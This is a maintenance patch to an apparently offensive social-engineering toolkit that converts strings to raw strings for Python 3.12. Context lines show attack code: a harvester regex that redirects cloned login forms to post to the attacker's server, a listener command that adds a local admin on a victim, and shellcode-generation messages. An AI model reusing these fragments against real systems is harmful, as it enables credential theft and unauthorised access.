From a47a5bf9af2be196853cf24820fe9572fc047525 Mon Sep 17 00:00:00 2001 From: Arnaud Rebillout Date: Mon, 16 Sep 2024 22:25:10 +0700 Subject: [PATCH] Fix various Python 3.12 SyntaxWarning --- modules/google_analytics_attack.py | 4 ++-- src/core/fasttrack.py | 2 +- src/core/setcore.py | 4 ++-- src/fasttrack/ridenum.py | 2 +- src/fasttrack/sccm/sccm_main.py | 2 +- src/payloads/set_payloads/listener.py | 2 +- src/teensy/binary2teensy.py | 6 +++--- src/teensy/sd2teensy.py | 5 +++-- src/webattack/harvester/scraper.py | 4 ++-- 9 files changed, 16 insertions(+), 15 deletions(-) diff --git a/modules/google_analytics_attack.py b/modules/google_analytics_attack.py index 1d807be742..da180f24d5 100644 --- a/modules/google_analytics_attack.py +++ b/modules/google_analytics_attack.py @@ -71,7 +71,7 @@ def send_spoof(params): ### auto_params - makes request to target site, regexes for params def auto_params(url): try: #parses URL for host and page - m = re.search('(https?:\/\/(.*?))\/(.*)',url) + m = re.search(r'(https?:\/\/(.*?))\/(.*)',url) host = str(m.group(1)) page = "/" + str(m.group(3)) except: @@ -83,7 +83,7 @@ def auto_params(url): print("\n[-] Unable to reach target website for parsing.\n") sys.exit() try: #parses target webpage for title - m = re.search('(.*)<\/title>', r.text) + m = re.search(r'<title>(.*)<\/title>', r.text) page_title = str(m.group(1)) except: print("\n[-] Unable to parse target page for title.\n") diff --git a/src/core/fasttrack.py b/src/core/fasttrack.py index 4e2c6241e5..b0f876bca5 100644 --- a/src/core/fasttrack.py +++ b/src/core/fasttrack.py @@ -417,7 +417,7 @@ # # if attack_vector == "5": - print (""".______ __ _______ _______ .__ __. __ __ .___ ___. + print (r""".______ __ _______ _______ .__ __. __ __ .___ ___. | _ \ | | | \ | ____|| \ | | | | | | | \/ | | |_) | | | | .--. | | |__ | \| | | | | | | \ / | | / | | | | | | | __| | . ` | | | | | | |\/| | diff --git a/src/core/setcore.py b/src/core/setcore.py index 74c09ca255..64f4e5df81 100644 --- a/src/core/setcore.py +++ b/src/core/setcore.py @@ -1365,7 +1365,7 @@ def kill_proc(port, flag): proc = subprocess.Popen("netstat -antp | grep '%s'" % (port), shell=True, stdout=subprocess.PIPE) stdout_value = proc.communicate()[0] - a = re.search("\d+/%s" % (flag), stdout_value) + a = re.search(r"\d+/%s" % (flag), stdout_value) if a: b = a.group() b = b.replace("/%s" % (flag), "") @@ -1803,7 +1803,7 @@ def printCIDR(c): def validateCIDRBlock(b): # appropriate format for CIDR block ($prefix/$subnet) - p = re.compile("^([0-9]{1,3}\.){0,3}[0-9]{1,3}(/[0-9]{1,2}){1}$") + p = re.compile(r"^([0-9]{1,3}\.){0,3}[0-9]{1,3}(/[0-9]{1,2}){1}$") if not p.match(b): return False # extract prefix and subnet size diff --git a/src/fasttrack/ridenum.py b/src/fasttrack/ridenum.py index 24ade8f19f..9e7e1b305a 100755 --- a/src/fasttrack/ridenum.py +++ b/src/fasttrack/ridenum.py @@ -32,7 +32,7 @@ def usage(): - print(""" + print(r""" .______ __ _______ _______ .__ __. __ __ .___ ___. | _ \ | | | \ | ____|| \ | | | | | | | \/ | | |_) | | | | .--. | | |__ | \| | | | | | | \ / | diff --git a/src/fasttrack/sccm/sccm_main.py b/src/fasttrack/sccm/sccm_main.py index 0e0d1fea53..9bb1dea4ab 100644 --- a/src/fasttrack/sccm/sccm_main.py +++ b/src/fasttrack/sccm/sccm_main.py @@ -21,7 +21,7 @@ sms_server = input("Enter the IP address or hostname of the SMS Server: ") package_id = input("Enter the Package ID of the package you want to patch: ") -configuration = ''' +configuration = r''' # configuration file written by Dave DeSimone and Bill Readshaw # attack vector presented at Defcon 20 # added to set 07/27/2012 diff --git a/src/payloads/set_payloads/listener.py b/src/payloads/set_payloads/listener.py index 19f0f5c96a..916b206065 100755 --- a/src/payloads/set_payloads/listener.py +++ b/src/payloads/set_payloads/listener.py @@ -391,7 +391,7 @@ def handle_connection(conn, addr, encryption, operating_system): Example: reboot now""") # if we're running under windows if operating_system == "windows": - print(""" + print(r""" Command: localadmin <username> <password> Explanation: adds a local admin to the system Example: localadmin bob p@55w0rd! diff --git a/src/teensy/binary2teensy.py b/src/teensy/binary2teensy.py index 738a61ff18..b9c7d64dd8 100644 --- a/src/teensy/binary2teensy.py +++ b/src/teensy/binary2teensy.py @@ -124,12 +124,12 @@ # except keyboardintterupts here except KeyboardInterrupt: - print(""" + print(r""" .-. .-. . . .-. .-. .-. .-. .-. . . .-. .-. .-. |.. |-| |\| |.. `-. | |- |( |\/| | | | )|- `-' ` ' ' ` `-' `-' ' `-' ' ' ' ` `-' `-' `-' - disabled.\n""") - + disabled.""") + print() sys.exit("\n[!] Control-C detected. Bombing out. Later Gangster...\n\n") print_status("Generating alpha_mixed shellcode to be injected after shellexec has been deployed on victim...") diff --git a/src/teensy/sd2teensy.py b/src/teensy/sd2teensy.py index f2680a86ae..f144319eaf 100644 --- a/src/teensy/sd2teensy.py +++ b/src/teensy/sd2teensy.py @@ -43,11 +43,12 @@ """) # if we hit here we are good since msfvenom is installed -print(""" +print(r""" .-. .-. . . .-. .-. .-. .-. .-. . . .-. .-. .-. |.. |-| |\| |.. `-. | |- |( |\/| | | | )|- `-' ` ' ' ` `-' `-' ' `-' ' ' ' ` `-' `-' `-' - enabled.\n""") + enabled.""") +print() # grab the path and filename from user path = input(core.setprompt(["6"], "Path to the file you want deployed on the teensy SDCard")) diff --git a/src/webattack/harvester/scraper.py b/src/webattack/harvester/scraper.py index db5620c493..3cc4d2b273 100644 --- a/src/webattack/harvester/scraper.py +++ b/src/webattack/harvester/scraper.py @@ -76,13 +76,13 @@ # web server running to post the data to your site if ssl_flag == 'false': line = re.sub( - 'action="http?\w://[\w.\?=/&]*/', 'action="http://%s/' % (ipaddr), line) + r'action="http?\w://[\w.\?=/&]*/', 'action="http://%s/' % (ipaddr), line) if apache_mode == "on": line = re.sub( 'action="*"', 'action="http://%s/post.php"' % (ipaddr), line) if ssl_flag == 'true': line = re.sub( - 'action="http?\w://[\w.\?=/&]*/', 'action="https://%s/' % (ipaddr), line) + r'action="http?\w://[\w.\?=/&]*/', 'action="https://%s/' % (ipaddr), line) if apache_mode == "on": line = re.sub( 'action="*"', 'action="http://%s/post.php"' % (ipaddr), line)